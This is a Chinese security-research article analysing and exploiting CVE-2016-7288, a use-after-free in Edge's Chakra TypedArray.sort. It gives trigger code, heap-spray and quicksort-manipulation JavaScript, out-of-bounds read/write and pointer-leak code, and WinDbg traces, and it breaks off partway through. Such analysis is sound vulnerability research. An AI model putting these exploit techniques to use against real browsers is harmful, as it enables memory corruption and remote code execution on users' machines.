首页 > 安全 > 网络安全 >

MS16-145:Edge浏览器TypedArray.sort UAF漏洞分析

2017-05-13

MS16-145:Edge浏览器TypedArray sort UAF漏洞分析。在这篇文章中,我们将为读者详细分析如何利用MS Edge浏览器中的UAF漏洞来远程执行代码。

MS16-145:Edge浏览器TypedArray.sort UAF漏洞分析。在这篇文章中,我们将为读者详细分析如何利用MS Edge浏览器中的UAF漏洞来远程执行代码。

本文将为读者深入分析影响MS Edge的CVE-2016-7288 UAF漏洞的根本原因,以及如何可靠地触发该UAF漏洞,如何用一种精确地方法来左右Quicksort从而控制交换操作并破坏内存,获得相对内存读/写原语,然后在WebGL的帮助下将其转换为绝对R / W原语,最后使用伪造的面向对象编程(COOP)技术来绕过控制流保护措施。

分析注解

本文是在Windows 10 Anniversary Update x64上使用下列版本的MS Edge执行分析工作的。

存在安全漏洞的模块:chakra.dll 11.0.14393.0

简介

Google Project Zero已经公布了此漏洞的概念证明[3],据称这是一个影响JavaScript的TypedArray.sort方法的UAF漏洞。

下面是公布在Project Zero的bug跟踪器中的原始PoC:

var buf = new ArrayBuffer( 0x10010);

var numbers = new Uint8Array(buf);

var first = 0;

function v(){

alert("in v");

if( first == 0){

postMessage("test", "http://127.0.0.1", [buf])

first++;

}

return 7;

}

function compareNumbers(a, b) {

alert("in func");

return {valueOf : v};

}

try{

numbers.sort(compareNumbers);

}catch(e){

alert(e.message);

}

值得注意的是,在我的测试过程中,这个PoC根本没有触发这个漏洞。

该漏洞的根本原因

根据Mozilla关于TypedArray.sort方法的文档[4]的介绍,“sort()方法用于对类型化数组的元素进行排序,并返回类型化的数组”。这个方法有一个名为compareFunction的可选参数,该参数“指定定义排序顺序的函数”。

JavaScript TypedArray.sort方法的对应的原生方法是chakra!TypedArrayBase :: EntrySort,它是在lib / Runtime / Library / TypedArray.cpp中定义的。

Var TypedArrayBase::EntrySort(RecyclableObject* function, CallInfo callInfo, ...){

[...]

// Get the elements comparison function for the type of this TypedArray

void* elementCompare = reinterpret_cast(typedArrayBase->GetCompareElementsFunction());

// Cast compare to the correct function type

int(__cdecl*elementCompareFunc)(void*, const void*, const void*) = (int(__cdecl*)(void*, const void*, const void*))elementCompare;

void * contextToPass[] = { typedArrayBase, compareFn };

// We can always call qsort_s with the same arguments. If user compareFn is non-null, the callback will use it to do the comparison.

qsort_s(typedArrayBase->GetByteBuffer(), length, typedArrayBase->GetBytesPerElement(), elementCompareFunc, contextToPass);

我们可以看到,它调用GetCompareElementsFunction方法来获取元素比较函数,并且在进行类型转换后,所述函数将传递给qsort_s()[5]作为其第四个参数。根据其文档:

qsort_s函数实现了一个快速排序算法来排序数组元素[...]。qsort_s会使用排序后的元素来覆盖这个数组。参数compare是指向用户提供的例程的指针,它比较两个数组元素并返回一个表明它们的关系的值。qsort_s在排序期间会调用一次或多次比较例程,每次调用时都会将指针传递给两个数组的元素。

这里描述的qsort_s所有细节,对我们的任务都是非常重要的,这一点将在后文章体现出来。

GetCompareElementsFunction方法是在lib / Runtime / Library / TypedArray.h中定义的,它只是返回TypedArrayCompareElementsHelper函数的地址:

CompareElementsFunction GetCompareElementsFunction()

{

return &TypedArrayCompareElementsHelper;

}

本机比较函数TypedArrayCompareElementsHelper是在TypedArray.cpp中定义的,其代码如下所示:

template int __cdecl TypedArrayCompareElementsHelper(void* context, const void* elem1, const void* elem2)

{

[...]

Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),

undefined,

JavascriptNumber::ToVarWithCheck((double)x, scriptContext),

JavascriptNumber::ToVarWithCheck((double)y, scriptContext));

Assert(TypedArrayBase::Is(contextArray[0]));

if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))

{

JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));

}

if (TaggedInt::Is(retVal))

{

return TaggedInt::ToInt32(retVal);

}

if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))

{

dblResult = JavascriptNumber::GetValue(retVal);

}

else

{

dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);

}

CALL_FUNCTION宏将调用我们的JS比较函数。请注意,在调用我们的JS函数后,代码会检查用户控制的JS代码是否已经分离了类型化的数组。但是,如Natalie Silvanovich所解释的那样,“函数的返回值被转换为一个可以调用valueOf的整数,如果这个函数分离了TypedArray,那么在释放缓冲区之后就会执行一个交换。在从TypedArrayCompareElementsHelper返回后,释放缓冲区中的元素交换操作发生在msvcrt!qsort_s中。

这个漏洞的修复程序只是在上面显示的代码之后对类型化数组的可能分离状态进行了额外的检查:

// ToNumber may execute user-code which can cause the array to become detached

if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))

{

JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));

}

Project Zero的概念证明

Project Zero提供的PoC看起来很简单:它创建了一个由ArrayBuffer对象支持的类型化数组(更具体地说是一个Uint8Array),它在类型化数组上调用sort方法,作为参数传递一个名为compareNumbers的JS函数。这个比较函数返回实现自定义valueOf方法的新对象:

function compareNumbers(a, b) {

alert("in func");

return {valueOf : v};

}

v是一个函数,它通过调用postMessage方法来将ArrayBuffer分解为类型化的数组对象。在尝试把比较函数的返回值转换为整数过程中,会在从TypedArrayCompareElementsHelper调用JavascriptConversion :: ToNumber_Full()时调用它。

function v(){

alert("in v");

if( first == 0){

postMessage("test", "http://127.0.0.1", [buf])

first++;

}

return 7;

}

这应该足以触发这个漏洞了。然而,在多次运行PoC之后,我很惊讶地发现,它并没有在存在该漏洞的机器上面造成任何崩溃。

以可靠的方式触发漏洞

过去,我编写过影响Internet Explorer类似UAF漏洞的利用代码,这也涉及到将ArrayBuffer分解为类型化数组对象。根据我对IE的经验,当通过postMessage对ArrayBuffer进行排序时,会立即释放ArrayBuffer的原始内存,因此UAF漏洞的迹象是显而易见的。

在调试Edge内容进程一段时间之后,我意识到ArrayBuffer对象的原始内存没有被立即释放,而是在几秒之后,类似于“延迟释放”的方式。这导致该漏洞难以显示,因为qsort_s中的元素交换操作未触发未映射的内存。

通过查看Chakra JS引擎的源代码,可以看到使用ArrayBuffer时,在lib / Runtime / Library / ArrayBuffer.cpp中的JavascriptArrayBuffer :: CreateDetachedState方法中创建了一个Js :: ArrayBuffer :: ArrayBufferDetachedState对象。在“阉割”ArrayBuffer之后会立即出现这种情况。

ArrayBufferDetachedStateBase* JavascriptArrayBuffer::CreateDetachedState(BYTE* buffer, uint32 bufferLength)

{

#if _WIN64

if (IsValidVirtualBufferLength(bufferLength))

{

return HeapNew(ArrayBufferDetachedState, buffer, bufferLength, FreeMemAlloc, ArrayBufferAllocationType::MemAlloc);

}

else

{

return HeapNew(ArrayBufferDetachedState, buffer, bufferLength, free, ArrayBufferAllocationType::Heap);

}

#else

return HeapNew(ArrayBufferDetachedState, buffer, bufferLength, free, ArrayBufferAllocationType::Heap);

#endif

}

ArrayBufferDetachedState对象表示一个中间状态,其中一个ArrayBuffer对象已经被分离,不能再被使用,但是其原始内存尚未被释放。这里非常有趣的是ArrayBufferDetachedState对象含有一个指向用于释放分离的ArrayBuffer的原始内存的函数的指针。如上所示,如果IsValidVirtualBufferLength()返回true,则使用Js :: JavascriptArrayBuffer :: FreeMemAlloc(它只是VirtualFree的包装器); 否则使用free。

ArrayBuffer的原始内存的实际释放会发生在以下调用堆栈中。Project Zero提供的PoC并不会立即执行这个动作,而是在所有的JS代码运行完毕后才会被触发这个操作。

Js::TransferablesHolder::Release

|

v

Js::DetachedStateBase::CleanUp

|

v

Js::ArrayBuffer::ArrayBufferDetachedState::DiscardState(void)

|

v

free(), or Js::JavascriptArrayBuffer::FreeMemAlloc (this last one is just a wrapper for VirtualFree)

所以,我需要找到一种方式,使分离的ArrayBuffer的原始内存可以立即释放,然后返回到qsort_s。我决定尝试使用Web Worker,我曾经在Internet Explorer的利用代码中使用了类似的漏洞,同时等待几秒钟,以便为释放原始缓冲区提供一些时间。

function v(){

[...]

the_worker = new Worker('the_worker.js');

the_worker.onmessage = function(evt) {

console.log("worker.onmessage: " + evt.toString());

}

//Neuter the ArrayBuffer

the_worker.postMessage(ab, [ab]);

//Force the underlying raw buffer to be freed before returning!

the_worker.terminate();

the_worker = null;

/* Give some time for the raw buffer to be effectively freed */

var start = Date.now();

while (Date.now() - start

}

[...]

我试验了这个想法,为microsoftedgecp.exe启用了全页堆验证,结果立即发生了崩溃。正如你所看到的,当交换操作尝试在释放的缓冲区上运行时,在qsort_s内部发生了崩溃:

(b0.adc): Access violation - code c0000005 (!!! second chance !!!)

msvcrt!qsort_s+0x3f0:

00007ff8`139000e0 0fb608 movzx ecx,byte ptr [rax] ds:00000282`b790aff4=??

0:010> r

rax=00000282b790aff4 rbx=000000ff4f1fbeb0 rcx=000000ff4f1fbf68

rdx=00007ffff8aa4dbb rsi=0000000000000002 rdi=000000ff4f1fb9c0

rip=00007ff8139000e0 rsp=000000ff4f1fc0f0 rbp=0000000000000004

r8=0000000000000004 r9=00010000ffffffff r10=00000282b30c5170

r11=000000ff4f1fb758 r12=00007ffff8ccaed0 r13=00000282b790aff4

r14=00000282b790aff0 r15=000000ff4f1fc608

iopl=0 nv up ei ng nz ac po cy

cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010295

!heap -p -a @rax命令表明缓冲区已经从Js :: ArrayBuffer :: ArrayBufferDetachedState :: DiscardState中释放:

0:010> !heap -p -a @rax

ReadMemory error for address 0000027aa4a4ffe8

Use `!address 0000027aa4a4ffe8' to check validity of the address.

ReadMemory error for address 0000027aa4dbffe8

Use `!address 0000027aa4dbffe8' to check validity of the address.

address 00000282b790aff4 found in

_DPH_HEAP_ROOT @ 27aa4dd1000

in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)

27aa4e2cc98: 282b790a000 2000

00007ff81413ed6b ntdll!RtlDebugFreeHeap+0x000000000003c49b

00007ff81412cfb3 ntdll!RtlpFreeHeap+0x000000000007f0d3

00007ff8140ac214 ntdll!RtlFreeHeap+0x0000000000000104

00007ff8138e9dac msvcrt!free+0x000000000000001c

00007ffff8cc91b2 chakra!Js::ArrayBuffer::ArrayBufferDetachedState::DiscardState+0x0000000000000022

00007ffff8b23701 chakra!Js::DetachedStateBase::CleanUp+0x0000000000000025

00007ffff8b27285 chakra!Js::TransferablesHolder::Release+0x0000000000000045

00007ffff9012d86 edgehtml!CStrongReferenceTraits::Release >+0x0000000000000016

[...]

回收释放的内存

到目前为止,我们已经满足了一个典型的UAF条件;现在,在完成释放操作之后,我们要回收释放的内存,并在此之前放置一些有用的对象,然后通过qsort_s访问释放的缓冲区以进行交换操作。

在寻找对象来填补内存空隙时,我注意到一些非常有趣的东西。保存ArrayBuffer元素的原始缓冲区(即释放后被访问的原始缓冲区)是在ArrayBuffer构造函数[lib / Runtime / Library / ArrayBuffer.cpp]中分配的:

ArrayBuffer::ArrayBuffer(uint32 length, DynamicType * type, Allocator allocator) :

ArrayBufferBase(type), mIsAsmJsBuffer(false), isBufferCleared(false),isDetached(false)

{

buffer = nullptr;

[...]

buffer = (BYTE*)allocator(length);

[...]

请注意,构造函数的第三个参数是一个函数指针(Allocator类型),通过调用它来分配原始缓冲区。如果我们搜索调用这个构造函数的代码,我们会发现,它是通过下列方式从JavascriptArrayBuffer构造函数中进行调用的:

JavascriptArrayBuffer::JavascriptArrayBuffer(uint32 length, DynamicType * type) :

ArrayBuffer(length, type, (IsValidVirtualBufferLength(length)) ? AllocWrapper : malloc)

{

}

因此,JavascriptArrayBuffer构造函数可以使用两个不同的分配器调用ArrayBuffer构造函数:AllocWrapper(它是VirtualAlloc的包装器)或malloc。选择哪一个具体取决于IsValidVirtualBufferLength方法返回的布尔结果(并且该bool值是由要实例化的ArrayBuffer的长度确定的,所以我们具有完全控制权)。

这意味着,与许多其他UAF场景不同,我们可以选择在哪个堆中分配目标缓冲区:由VirtualAlloc / VirtualFree管理的全页,或者在使用malloc作为分配器的情况下的CRT堆。

根据Moretz Jodeit去年发表的研究[6],在Internet Explorer 11上,当从JavaScript分配大量数组时,jCript9!LargeHeapBlock对象被分配在CRT堆上,它们构成了内存破坏的一个很好的靶子。但是,在MS Edge上情况并非如此,因为LargeHeapBlock对象现在通过HeapAlloc()分配给另一个堆。在Edge中通过malloc分配的CRT堆中很难找到其他有用的对象,所以我决定寻找由VirtualAlloc分配的有用对象。

数组

因此,如上所述,为了使ArrayBuffer构造函数通过VirtualAlloc分配其原始缓冲区,我们需要让IsValidVirtualBufferLength方法返回true。我们来看看它的相关代码[lib / Runtime / Library / ArrayBuffer.cpp]:

bool JavascriptArrayBuffer::IsValidVirtualBufferLength(uint length)

{

#if _WIN64

/*

1. length >= 2^16

2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)

3. length is a multiple of 4K

*/

return (!PHASE_OFF1(Js::TypedArrayVirtualPhase) &&

(length >= 0x10000) &&

(((length & (~length + 1)) == length) ||

(length >= 0x1000000 &&

((length & 0xFFFFFF) == 0)

)

) &&

((length % AutoSystemInfo::PageSize) == 0)

);

#else

return false;

#endif

}

这意味着,我们可以通过指定例如0x10000作为我们正在创建的ArrayBuffer的长度来使其返回true。这样,将在释放之后使用的缓冲区就会通过VirtualAlloc进行分配。

考虑到重新分配操作,我注意到,当从JavaScript代码分配大整数数组时,数组也是通过VirtualAlloc分配的。为此,我在WinDbg中使用了如下所示这样的记录断点:

> bp kernelbase!VirtualAlloc "k 5;r @$t3=@rdx;gu;r @$t4=@rax;.printf \"Allocated 0x%x bytes @ address %p\\n\", @$t3, @$t4;gu;dqs @$t4 l4;gc"

输出结果如下所示:

# Child-SP RetAddr Call Site

00 000000d0`f51fb3f8 00007ffc`3a932f11 KERNELBASE!VirtualAlloc

01 000000d0`f51fb400 00007ffc`255fa5f5 EShims!NS_ACGLockdownTelemetry::APIHook_VirtualAlloc+0x51

02 000000d0`f51fb450 00007ffc`255fdc4b chakra!Memory::VirtualAllocWrapper::Alloc+0x55

03 000000d0`f51fb4b0 00007ffc`2565bc38 chakra!Memory::SegmentBase::Initialize+0xab

04 000000d0`f51fb510 00007ffc`255fc8e2 chakra!Memory::PageAllocatorBase::AllocPageSegment+0x9c

Allocated 0x10000 bytes @ address 000002d0909a0000

000002d0`909a0000 00000000`00000000

000002d0`909a0008 00000000`00000000

000002d0`909a0010 00000000`00000000

000002d0`909a0018 00000000`00000000

检查内存的内容后会显示一个数组的结构:

0:025> dds 000002d0909a0000

000002d0`909a0000 00000000

000002d0`909a0004 00000000

000002d0`909a0008 0000ffe0

000002d0`909a000c 00000000

000002d0`909a0010 00000000

000002d0`909a0014 00000000

000002d0`909a0018 0000ce7c

000002d0`909a001c 00000000

000002d0`909a0020 00000000 //

000002d0`909a0024 00003ff2 // array length

000002d0`909a0028 00003ff2 // array reserved capacity

000002d0`909a002c 00000000

000002d0`909a0030 00000000

000002d0`909a0034 00000000

000002d0`909a0038 41414141 //array elements

000002d0`909a003c 41414141

000002d0`909a0040 41414141

在该内存转储的偏移量0x20处,我们有一个Js :: SparseArraySegment类的实例,它会被JavascriptNativeIntArray对象的head成员引用:

0000029c`73ea82c0 00007ffc`259b38d8 chakra!Js::JavascriptNativeIntArray::`vftable'

0000029c`73ea82c8 0000029b`725590c0 //Pointer to type information

0000029c`73ea82d0 00000000`00000000

0000029c`73ea82d8 00000000`00010005

0000029c`73ea82e0 00000000`00003ff2 // array length

0000029c`73ea82e8 000002d0`909a0020 //

在Js :: SparseArraySegment对象的偏移量0x8处,我们可以看到整数数组的备用容量,数组的元素从偏移量0x18开始。由于UAF漏洞允许我们在qsort_s决定交换两个元素的顺序时交换两个双字,我们将尝试利用这一点,通过(由我们完全控制)的数组元素来替换备用容量。如果我们设法做到了这一点,我们就能够读写数组以外的内存。

顺便说一句,我的reclaim函数(在分离ArrayBuffer之后,在从v()返回之前调用)函数看起来就像是这样的。注意,我从0x10000减去0x38(数组元素从缓冲区开始的偏移量),然后将其除以4(每个元素的大小),因此分配大小正好是0x10000。该喷射操作具有附加的特性,即所分配的块彼此相邻,之间没有间隙,这对我们后面的工作非常有用。

function reclaim(){

var NUMBER_ARRAYS = 20000;

arr = new Array(NUMBER_ARRAYS);

for (var i = 0; i

/* Allocate an array of integers */

arr[i] = new Array((0x10000-0x38)/4);

for (var j = 0; j

{C}arr[i][j] = 0x41414141;

}

}

}

有趣的是,如果由于某种原因,你尝试一下大于0x10000的喷射块,同时仍然进行IsValidVirtualBufferLength检查的话,那么很快就会注意到,在具有很多重复元素的数组上运行quicksort算法时到底有多慢[7] :)所以最好坚持使用0x10000,这是IsValidVirtualBufferLength返回true的最小长度,除非你希望你的漏洞要运行许多分钟。

影响Quicksort并控制交换操作

现在,您可能想要了解quicksort算法的工作原理[8],并查看其具体实现[9]。请注意,为了使qsort_s根据我们的需要进行精确的元素交换(用offset> = 0x38的数组元素替换缓冲区中偏移量为0x28处的整数数组备用容量),我们必须仔细地构造:

存储在ArrayBuffer中将要进行排序的值

这些值在ArrayBuffer中的位置

我们的JS比较函数返回的值(-1,0,1)[10]

做了一些测试后,我找到了下面的ArrayBuffer设置,这将触发我需要的精确交换操作:

var ab = new ArrayBuffer(0x10000);

var ia = new Int32Array(ab);

[...]

ia[0x0a] = 0x9; // Array capacity, gets swapped (offset 0x28 of the buffer)

ia[0x13] = 0x55555555; // gets swapped (offset 0x4C of the buffer, element at index 5 of the int array)

ia[0x20] = 0x66666666;

使用这种设置,当比较的元素是我要交换的两个值时,我的比较函数将触发UAF漏洞:

[...]

if ((this.a == 0x9) && (this.b == 0x55555555)){

//Let's detach the 'ab' ArrayBuffer

the_worker = new Worker('the_worker.js');

the_worker.onmessage = function(evt) {

console.log("worker.onmessage: " + evt.toString());

}

the_worker.postMessage(ab, [ab]);

//Force the underlying raw buffer to be freed before returning!

the_worker.terminate();

the_worker = null;

//Give some time for the raw buffer to be effectively freed

var start = Date.now();

while (Date.now() - start

}

//Refill the memory hole with a useful object (an int array)

reclaim();

//Returning 1 means that 9 > 0x55555555, so their positions must be swapped

return 1;

}

[...]

我们可以通过在JavascriptArrayBuffer :: FreeMemAlloc中设置断点来检查它是否按照我们预期的方式进行,其中VirtualFree即将被调用以释放ArrayBuffer的原始缓冲区:

\

0:023> bp chakra!Js::JavascriptArrayBuffer::FreeMemAlloc+0x1a "r @$t0 = @rcx"

0:023> g

chakra!Js::JavascriptArrayBuffer::FreeMemAlloc+0x1a:

00007fff`f8cc975a 48ff253f8d1100 jmp qword ptr [chakra!_imp_VirtualFree (00007fff`f8de24a0)] ds:00007fff`f8de24a0={KERNELBASE!VirtualFree (00007ff8`11433e50)}

执行在断点处停止,所以现在我们可以检查ArrayBuffer的内容,该内容在排序后即将被释放:

0:024> dds @rcx l21

00000235`48070000 00000000

00000235`48070004 00000000

00000235`48070008 00000000

00000235`4807000c 00000000

00000235`48070010 00000000

00000235`48070014 00000000

00000235`48070018 00000000

00000235`4807001c 00000000

00000235`48070020 00000000

00000235`48070024 00000000

00000235`48070028 00000009 // the dword at this position will be swapped...

00000235`4807002c 00000000

00000235`48070030 00000000

00000235`48070034 00000000

00000235`48070038 00000000

00000235`4807003c 00000000

00000235`48070040 00000000

00000235`48070044 00000000

00000235`48070048 00000000

00000235`4807004c 55555555 // ... with the dword at this position

00000235`48070050 00000000

00000235`48070054 00000000

00000235`48070058 00000000

00000235`4807005c 00000000

00000235`48070060 00000000

00000235`48070064 00000000

00000235`48070068 00000000

00000235`4807006c 00000000

00000235`48070070 00000000

00000235`48070074 00000000

00000235`48070078 00000000

00000235`4807007c 00000000

00000235`48070080 66666666

您可以看到偏移0x28处的值为0x9,偏移0x4c处的值为0x55555555。值0x66666666也可以在偏移0x80处看到;它是影响quicksort算法的地方,并获得我们需要的精确互换。

现在我们可以在qsort_s函数上设置几个断点,将其设置在紧跟它所调用的TypedArrayCompareElementsHelper本机比较函数(最终调用我们的JS比较函数)的指令之后:

\
\

0:010> bp msvcrt!qsort_s+0x3c2

0:010> bp msvcrt!qsort_s+0x194

现在我们恢复执行,几秒钟后,断点就被击中。如果一切顺利的话,ArrayBuffer应该被释放,并且其中一个喷射的整数数组的内存被回收:

0:024> g

Breakpoint 2 hit

msvcrt!qsort_s+0x194:

00007ff8`138ffe84 85c0 test eax,eax

0:010> dds 00000235`48070000

00000235`48070000 00000000

00000235`48070004 00000000

00000235`48070008 0000ffe0

00000235`4807000c 00000000

00000235`48070010 00000000

00000235`48070014 00000000

00000235`48070018 00009e75

00000235`4807001c 00000000

00000235`48070020 00000000 // Js::SparseArraySegment object starts here

00000235`48070024 00003ff2

00000235`48070028 00003ff2 // reserved capacity of the integer array; it occupies the position of the 0x9 value that will be swapped

00000235`4807002c 00000000

00000235`48070030 00000000

00000235`48070034 00000000

00000235`48070038 41414141 // elements of the integer array start here

00000235`4807003c 41414141

00000235`48070040 41414141

00000235`48070044 41414141

00000235`48070048 41414141

00000235`4807004c 7fffffff // this one occupies the position of the 0x55555555 value which is going to be swapped

00000235`48070050 41414141

00000235`48070054 41414141

太棒了!我们的一个喷射的整数数组现在占据了以前由ArrayBuffer对象的原始缓冲区占据的内存。qsort_s的交换代码现在将以偏移量0x28(以前的UAF:值0x9,现在值为int数组的容量)处的dword与偏移量0x4c处的dword(之前的UAF:数组元素,值为0x55555555,现在:值为0x7fffffff的数组元素)进行交换 。

交换发生在下面的循环中:

qsort_s+1B0 loc_11012FEA0:

qsort_s+1B0 movzx eax, byte ptr [rdx] ; grab a byte from the dword @ offset 0x4c

qsort_s+1B3 movzx ecx, byte ptr [r9+rdx] ; grab a byte from the dword @ offset 0x28

qsort_s+1B8 mov [r9+rdx], al ; swap

qsort_s+1BC mov [rdx], cl ; swap

qsort_s+1BE lea rdx, [rdx+1] ; proceed with the next byte of the dwords

qsort_s+1C2 sub r8, 1

qsort_s+1C6 jnz short loc_11012FEA0 ; loop

成功交换后,int数组看起来像下面这样,这表明我们已经用非常大的值(0x7fffffff)覆盖了原来的容量:

0:010> dds 00000235`48070000

00000235`48070000 00000000

00000235`48070004 00000000

00000235`48070008 0000ffe0

00000235`4807000c 00000000

00000235`48070010 00000000

00000235`48070014 00000000

00000235`48070018 00009e75

00000235`4807001c 00000000

00000235`48070020 00000000 // Js::SparseArraySegment object starts here

00000235`48070024 00003ff2

00000235`48070028 7fffffff //

00000235`4807002c 00000000

00000235`48070030 00000000

00000235`48070034 00000000

00000235`48070038 41414141

00000235`4807003c 41414141

00000235`48070040 41414141

00000235`48070044 41414141

00000235`48070048 41414141

00000235`4807004c 00003ff2 // the old array capacity has been written here

00000235`48070050 41414141

00000235`48070054 41414141

获得相对内存读/写原语

由于我们已经用0x7fffffff覆盖了数组的原始容量,现在我们可以利用这个被破坏的int数组来读写其边界之外的内存。

但是,我们的R / W原语有一些限制:

由于数组容量为32位整数,我们将无法解析Edge进程的完整的64位地址空间;相反,我们最多能够寻址4 Gb的内存,起始地址从该int数组的基地址开始。

此外,当目标地址被作为64位指针时,可以控制32位索引,我们只能访问大于我们破坏的int数组的基址的内存地址;不能访问较低的地址。

最后,这是一个相对的内存R / W原语。我们不能指定要读写的绝对地址;而是需要从我们的破坏的int数组的基地址指定一个偏移量。

寻找被破坏的整数数组

找到将为我们提供R / W原语的受损整数数组真的很容易。我们只需要遍历所有的喷射的int数组,寻找索引为5且值不是0x41414141的元素(请记住,在交换操作期间,原始数组容量将写入索引为5的元素所在的位置)即可。

function find_corrupted_index(){

for (var i = 0; i

if (arr[i][5] != 0x41414141){

return i;

}

}

return -1;

}

一旦我们找到了损坏的整数数组,我们就可以进行越界读写操作。在下面的代码片段中,我们使用受损数组读取其后面的内存中的值(这个数组应该是另一个int数组——别忘了,我们已经喷了数千个int数组,每个数组都正好占据了0x10000字节,而且它们是相邻并对齐到0x10000)。注意我们如何使用像0x4000这样的任意索引取得成功的,而真正的int数组容量是索引为0x3ff2的元素:

var corrupted_index = find_corrupted_index();

if (corrupted_index != -1){

arr[corrupted_index][0x4000] = 0x21212121; // OOB write

alert("OOB read: 0x" + arr[corrupted_index][0x3ff8].toString(16)); // OOB read

}

此外,您应该始终记住,从任意索引N读取OOB需要先写入索引> = N。

泄漏指针

现在,我们已经取得了一个R / W原语,下面我们就要开始泄露几个指针,以便可以推断一些模块的地址并绕过ASLR。下面,我们通过在JS函数reclaim中将喷射的整数数组与一些字符串对象的数组交插来实现这一点:

function reclaim(){

var NUMBER_ARRAYS = 10000;

arr = new Array(NUMBER_ARRAYS);

var the_string = "MS16-145";

for (var i = 0; i

if ((i % 10) == 9){

the_element = the_string;

/* Allocate an array of strings */

arr[i] = new Array((0x10000-0x38)/8); //sizeof(ptr) == 8

}

else{

the_element = 0x41414141;

/* Allocate an array of integers */

arr[i] = new Array((0x10000-0x38)/4); //sizeof(int) == 4

}

for (var j = 0; j

arr[i][j] = the_element;

}

}

}

这样,在破坏其中一个数组的备用容量后,我们可以在数组边界之外每次读取0x10000字节,遍历相邻的数组,寻找最近的字符串对象数组:

//Traverse the adjacent arrays, looking for the closest array of string objects

for (var i = 0; i

base_index = 0x4000 * i; //Index to make it point to the first element of another array

//Remember, you need to write at least to offset N if you want to read from offset N

arr[corrupted_index][base_index + 0x20] = 0x21212121;

//If it's an array of objects (as opposed to array of ints filled with 0x41414141)

if (arr[corrupted_index][base_index] != 0x41414141){

alert("found pointer: 0x" + ud(arr[corrupted_index][base_index+1]).toString(16) + ud(arr[corrupted_index][base_index]).toString(16));

break;

}

}

这里的ud()函数只是一个小帮手,能够以无符号双字的形式读取值:

//Read as unsigned dword

function ud(sd) {

return (sd

{C}}

从相对R / W到(几乎)绝对R / W与WebGL

在完全任意的R / W原语的理想场景下,在将指针泄漏到某个对象之后,我们只需要在泄漏的地址上读取第一个qword,获得指向其vtable的指针,就能够计算模块的基址。但在这种情况下,我们有一个相对的R / W原语。由于R / W原语是通过在数组中使用索引来实现的,所以目标地址是这样计算的:target_addr = array_base_addr + index * sizeof(int)。我们完全控制了索引,但问题是我们不知道我们自己的数组基址是多少。

那么数组基地址在哪里呢?它存储在一个JavascriptNativeIntArray对象的偏移量0x28处,它具有以下结构:

0000029c`73ea82c0 00007ffc`259b38d8 chakra!Js::JavascriptNativeIntArray::`vftable'

0000029c`73ea82c8 0000029b`725590c0 //Pointer to type information

0000029c`73ea82d0 00000000`00000000

0000029c`73ea82d8 00000000`00010005

0000029c`73ea82e0 00000000`00003ff2 // array length

0000029c`73ea82e8 000002d0`909a0020 //

对于如何克服这个问题(不知道我自己破坏的数组的基址)有点难度,我决定使用VirtualAlloc分配缓冲区的技术,如asm.js和WebGL,寻找有用的漏洞利用素材。我决定记录通过移植到JS的3D游戏引擎加载网页时VirtualAlloc进行的分配情况,我看到一些WebGL缓冲区包含自引用,也就是指向缓冲区本身的指针。

所以,我的下一步就变得更加清晰了:我想释放一些喷射的数组,创建内存空隙,并尝试用WebGL缓冲区填充这些内存空隙,希望包含自引用指针。如果发生这种情况,可以使用我们有限的R / W原语来读取其中一个WebGL自引用指针,从而暴露我们(现在由WebGL释放并被WebGL占用)喷射的int数组的地址。

具有自引用的WebGL缓冲区如下所示:在本示例中,在缓冲区+ 0x20处有一个指向缓冲区+ 0x159的指针:

0:013> dqs 00000268`abdc0000

00000268`abdc0000 00000000`00000000

00000268`abdc0008 00000000`00000000

00000268`abdc0010 00000073`8bfdb3e0

00000268`abdc0018 00000000`000000d8

00000268`abdc0020 00000268`abdc0159 // reference to buffer + 0x159

00000268`abdc0028 00000000`00000000

00000268`abdc0030 00000000`00000000

00000268`abdc0038 00000000`00000000

00000268`abdc0040 00000000`00000000

00000268`abdc0048 00000000`00000000

00000268`abdc0050 00000001`ffffffff

00000268`abdc0058 00000001`00000000

00000268`abdc0060 00000000`00000000

00000268`abdc0068 00000000`00000000

00000268`abdc0070 00000000`00000000

00000268`abdc0078 00000000`00000000

虽然释放一些int数组为WebGL缓冲区腾出了空间,但我注意到它们并没有被立即释放,而是在线程空闲时调用VirtualFree,就像以下调用栈所建议的(注意所涉及到的方法名称,如Memory :: IdleDecommitPageAllocator :: IdleDecommit,ThreadServiceWrapperBase :: IdleCollect等)那样。这可以通过setTimeout让函数几秒钟后执行来克服。

> bp kernelbase!VirtualFree "k 10; gc"

# Child-SP RetAddr Call Site

00 0000003b`db4fce58 00007ffd`f763d307 KERNELBASE!VirtualFree

01 0000003b`db4fce60 00007ffd`f76398f8 chakra!Memory::PageAllocatorBase::ReleasePages+0x247

02 0000003b`db4fcec0 00007ffd`f76392c4 chakra!Memory::LargeHeapBlock::ReleasePages+0x54

03 0000003b`db4fcf40 00007ffd`f7639b54 chakra!PageStack::CreateChunk+0x1c4

04 0000003b`db4fcfa0 00007ffd`f7639c62 chakra!Memory::LargeHeapBucket::SweepLargeHeapBlockList+0x68

05 0000003b`db4fd010 00007ffd`f764253f chakra!Memory::LargeHeapBucket::Sweep+0x6e

06 0000003b`db4fd050 00007ffd`f76426fc chakra!Memory::Recycler::SweepHeap+0xaf

07 0000003b`db4fd0a0 00007ffd`f7641263 chakra!Memory::Recycler::Sweep+0x50

08 0000003b`db4fd0e0 00007ffd`f7687f50 chakra!Memory::Recycler::FinishConcurrentCollect+0x313

09 0000003b`db4fd180 00007ffd`f76415b1 chakra!ThreadContext::ExecuteRecyclerCollectionFunction+0xa0

0a 0000003b`db4fd230 00007ffd`f76b82c8 chakra!Memory::Recycler::FinishConcurrentCollectWrapped+0x75

0b 0000003b`db4fd2b0 00007ffd`f8105bab chakra!ThreadServiceWrapperBase::IdleCollect+0x70

0c 0000003b`db4fd2f0 00007ffe`110b1c24 edgehtml!CTimerCallbackProvider::s_TimerProviderTimerWndProc+0x5b

0d 0000003b`db4fd320 00007ffe`110b156c user32!UserCallWinProcCheckWow+0x274

